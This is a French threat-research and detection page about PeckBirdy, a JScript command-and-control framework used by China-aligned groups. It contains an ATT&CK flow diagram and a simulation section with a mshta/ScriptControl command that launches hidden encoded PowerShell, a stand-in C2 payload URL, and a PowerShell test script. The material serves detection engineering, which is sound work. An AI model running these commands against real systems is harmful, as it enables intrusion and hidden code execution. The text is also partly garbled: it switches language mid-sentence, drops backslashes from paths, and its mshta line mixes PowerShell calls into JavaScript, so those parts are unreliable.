SOC Prime Bias: Critique

26 Jan 2026 22:08

PeckBirdy : Un cadre de script polyvalent pour l’exploitation des LOLBins utilisé par des groupes de menaces alignés sur la Chine

Author Photo
Ruslan Mikhalov Chef de la Recherche sur les Menaces chez SOC Prime linkedin icon Suivre
PeckBirdy : Un cadre de script polyvalent pour l’exploitation des LOLBins utilisé par des groupes de menaces alignés sur la Chine
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

PeckBirdy est un framework de commande et contrôle basé sur JScript utilisé par des acteurs APT alignés avec la Chine pour abuser des binaires « living-off-the-land » et déployer des portes dérobées modulaires, y compris HOLODONUT et MKDOOR. Il est conçu pour s’exécuter sur plusieurs environnements d’exécution — navigateurs web, MSHTA, WScript, NodeJS et .NET — et il prend en charge plusieurs options de transport telles que WebSocket, Flash, Comet et HTTP. Le framework a été observé dans des campagnes suivies sous les codes SHADOW-VOID-044 et SHADOW-EARTH-045, ciblant les ressources de jeux en ligne, les portails web gouvernementaux asiatiques et une organisation du secteur de l’éducation.

Enquête

Les chercheurs ont signalé des injections de scripts malveillants sur des sites de jeux compromis et des pages gouvernementales qui ont téléchargé le chargeur PeckBirdy, qui a ensuite récupéré des charges utiles complémentaires, notamment une exploitation Chrome (CVE-2020-16040) et des composants de porte dérobée supplémentaires. L’activité a été liée à deux implants modulaires, HOLODONUT et MKDOOR, et connectée à des groupes et des schémas d’infrastructure précédemment observés. L’analyse a également catalogué des indicateurs de compromission, y compris des adresses IP, des domaines et des détails opérationnels tels que l’utilisation de certificats de signature de code volés.

Atténuation

Bloquez les domaines et adresses IP malveillants identifiés, et surveillez l’utilisation atypique de LOLBin et l’exécution de scripts via MSHTA, WScript et NodeJS. Détectez la création de la unique_id fichier dans %TEMP% et appliquez une validation stricte des certificats de signature de code. La couverture pour les charges utiles Cobalt Strike connues et les assemblages .NET générés par Donut peut encore réduire l’exposition.

Réponse

Si détecté, isolez les systèmes affectés, collectez le script injecté et tous les binaires de porte dérobée produits, et bloquez l’infrastructure C2 associée. Effectuez une analyse médico-légale pour le déplacement latéral et mettez à jour la logique de détection des artefacts en ligne de commande observés et des modèles de trafic réseau.

« graph TB %% Class Definitions classDef technique fill:#ffdd99 classDef malware fill:#ff9999 classDef tool fill:#99ccff classDef process fill:#ccffcc classDef operator fill:#ff9900 %% Technique Nodes content_injection[« <b>Technique</b> – <b>T1659 Injection de Contenu</b><br /><b>Description</b> : Injecter des scripts malveillants dans des pages web compromises pour livrer des charges utiles supplémentaires. »] class content_injection technique execution_mshta[« <b>Technique</b> – <b>T1218.005 Exécution de Binaire Signé Proxy : Mshta</b><br /><b>Description</b> : Utiliser mshta.exe pour exécuter des fichiers d’application HTML malveillants. »] class execution_mshta technique execution_compiled_html[« <b>Technique</b> – <b>T1218.001 Exécution de Binaire Signé Proxy : Fichier HTML Compilé</b><br /><b>Description</b> : Utiliser des fichiers HTML compilés pour exécuter des charges utiles JScript malveillantes. »] class execution_compiled_html technique victim_id_gen[« <b>Processus</b> – Génération d’Identifiant de Victime<br />Générer un identifiant de victime unique et préparer le script malveillant. »] class victim_id_gen process credential_steal_cookie[« <b>Technique</b> – <b>T1539 Vol de Cookie de Session Web</b><br /><b>Description</b> : Extraire les cookies d’authentification de la session du navigateur de la victime. »] class credential_steal_cookie technique alt_auth_material_cookie[« <b>Technique</b> – <b>T1550.004 Utilisation d’un Matériel d’Authentification Alternatif : Cookie de Session Web</b><br /><b>Description</b> : Réutiliser les cookies de session volés pour s’authentifier comme la victime. »] class alt_auth_material_cookie technique defense_evasion_code_signing[« <b>Technique</b> – <b>T1553.002 Subversion des Contrôles de Confiance : Signature de Code</b><br /><b>Description</b> : Utiliser du code falsifié ou mal signé pour contourner les vérifications de confiance. »] class defense_evasion_code_signing technique masquerading_invalid_sig[« <b>Technique</b> – <b>T1036.001 Mascarade : Signature de Code Invalide</b><br /><b>Description</b> : Présenter des binaires avec des signatures invalides pour éviter la détection. »] class masquerading_invalid_sig technique reflective_code_loading[« <b>Technique</b> – <b>T1620 Chargement de Code Réfléchi</b><br /><b>Description</b> : Charger directement du code en mémoire sans invoquer le chargeur du système d’exploitation. »] class reflective_code_loading technique process_injection[« <b>Technique</b> – <b>T1055 Injection de Processus</b><br /><b>Description</b> : Injecter du code malveillant dans un processus en cours d’exécution pour camoufler l’exécution. »] class process_injection technique impair_defenses[« <b>Technique</b> – <b>T1562 Altération des Défenses</b><br /><b>Description</b> : Désactiver ou modifier les outils et paramètres de sécurité. »] class impair_defenses technique execution_guardrails[« <b>Technique</b> – <b>T1480 Garde-fous d’Exécution</b><br /><b>Description</b> : Mettre en œuvre des vérifications pour fonctionner uniquement sur des cibles ou environnements spécifiques. »] class execution_guardrails technique obfuscated_embedded_payload[« <b>Technique</b> – <b>T1027.009 Fichiers ou Informations Obfusquées : Charges Utiles Intégrées</b><br /><b>Description</b> : Cacher des charges utiles malveillantes dans des fichiers ou flux de données légitimes. »] class obfuscated_embedded_payload technique command_and_control_web[« <b>Technique</b> – <b>T1102 Service Web</b><br /><b>Description</b> : Utiliser des services web standard pour la communication de commande et contrôle. »] class command_and_control_web technique encrypted_channel[« <b>Technique</b> – <b>T1573 Canal Crypté</b><br /><b>Description</b> : Chiffrer le trafic C2 pour éviter l’inspection réseau. »] class encrypted_channel technique app_layer_web_protocols[« <b>Technique</b> – <b>T1071.001 Protocole de Couche Application : Protocoles Web</b><br /><b>Description</b> : Communiquer via des protocoles web courants tels que HTTP/HTTPS. »] class app_layer_web_protocols technique data_encoding[« <b>Technique</b> – <b>T1132 Encodage de Données</b><br /><b>Description</b> : Encoder des données pour éviter la détection lors de la transmission. »] class data_encoding technique lateral_movement_exploit[« <b>Technique</b> – <b>T1210 Exploitation de Services à Distance</b><br /><b>Description</b> : Exploiter des services à distance vulnérables pour se déplacer latéralement. »] class lateral_movement_exploit technique remote_vulnerability[« <b>Processus</b> – Exploitation de la vulnérabilité CVEu20112020u201116040 Chrome »] class remote_vulnerability process rat_holodonut[« <b>Malware</b> – HOLODONUT<br />Porte dérobée personnalisée utilisée pour l’accès à distance »] class rat_holodonut malware rat_mkdoor[« <b>Malware</b> – MKDOOR<br />Porte dérobée secondaire offrant une persistance »] class rat_mkdoor malware %% Operator Nodes op_and_exec((« AND »)) class op_and_exec operator %% Connections content_injection u002du002d>|livre| execution_mshta content_injection u002du002d>|livre| execution_compiled_html execution_mshta u002du002d>|lance| victim_id_gen execution_compiled_html u002du002d>|lance| victim_id_gen victim_id_gen u002du002d>|prépare le script pour| credential_steal_cookie credential_steal_cookie u002du002d>|conduit à| alt_auth_material_cookie credential_steal_cookie u002du002d>|permet| defense_evasion_code_signing defense_evasion_code_signing u002du002d>|comprend| masquerading_invalid_sig defense_evasion_code_signing u002du002d>|comprend| reflective_code_loading defense_evasion_code_signing u002du002d>|comprend| process_injection defense_evasion_code_signing u002du002d>|comprend| impair_defenses defense_evasion_code_signing u002du002d>|comprend| execution_guardrails defense_evasion_code_signing u002du002d>|comprend| obfuscated_embedded_payload defense_evasion_code_signing u002du002d>|permet| command_and_control_web command_and_control_web u002du002d>|utilise| encrypted_channel encrypted_channel u002du002d>|utilise| app_layer_web_protocols app_layer_web_protocols u002du002d>|utilise| data_encoding command_and_control_web u002du002d>|soutient| lateral_movement_exploit lateral_movement_exploit u002du002d>|via| remote_vulnerability lateral_movement_exploit u002du002d>|déploie| rat_holodonut lateral_movement_exploit u002du002d>|déploie| rat_mkdoor « 

Flux d’attaque

Exécution de la simulation

Condition préalable : le contrôle préalable de télémétrie et de base doit avoir été réussi.

Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer exactement la télémétrie attendue par la logique de détection.

  • Narrative & Commandes de l’attaque :
    L’adversaire souhaite établir un canal de contrôle à distance en utilisant le framework script PeckBirdy. Ils choisissent script framework. They choose mshta.exe car c’est un binaire Windows signé qui contourne la plupart des listes blanches d’applications. La charge utile intègre un objet ScriptControl ActiveX pour exécuter le code JScript récupéré à partir d’un serveur C2. Les étapes sont :

    1. Télécharger la charge utile JScript malveillante à partir du C2 (par exemple, http://malicious.c2/payload.js).
    2. Lancer mshta.exe avec un URI javascript : intégré qui crée une objet ScriptControl instance, charge le script téléchargé et l’exécute.
    3. Le code JScript établit un écouteur TCP inverse, complétant l’ancrage.

    La ligne de commande exacte qui produit la télémétrie est :

    mshta.exe "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode('var s=new ActiveXObject("WScript.Shell");s.Run("powershell -nop -w hidden -EncodedCommand ...");');void(0)"

    Cette commande contient à la fois mshta.exe et la chaîne objet ScriptControl, satisfaisant la condition Sigma.

  • Script de régression :
    Le script ci-dessous automatise l’invocation malveillante mshta . Il peut être exécuté sur une station de travail de test sous un compte administratif.

    #-------------------------------------------------
    # Exécution de PeckBirdy via mshta + ScriptControl
    #-------------------------------------------------
    $c2Url   = "http://malicious.c2/payload.js"
    $jsCode  = @"
    var sc = new ActiveXObject('ScriptControl');
    sc.Language = 'JScript';
    // Simple beacon – replace with real payload
    sc.AddCode('var s = new ActiveXObject("WScript.Shell"); s.Run("cmd /c echo Compromised > C:temppwned.txt");');
    "@
    
    # Encode the JScript payload to avoid line‑break issues
    $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($jsCode))
    
    $mshtaCmd = "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$encoded')));void(0)"
    
    Write-Host "[*] Launching malicious mshta..."
    Start-Process -FilePath "mshta.exe" -ArgumentList $mshtaCmd -NoNewWindow
  • Commandes de nettoyage :
    Supprimez tous les artefacts créés par le test (par exemple, le fichier temporaire).

    #-------------------------------------------------
    # Nettoyage après la simulation de PeckBirdy
    #-------------------------------------------------
    Write-Host "[*] Nettoyage des artefacts de test..."
    Remove-Item -Path "C:temppwned.txt" -ErrorAction SilentlyContinue
    # Arrête tous les processus mshta persistants démarrés par le test
    Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force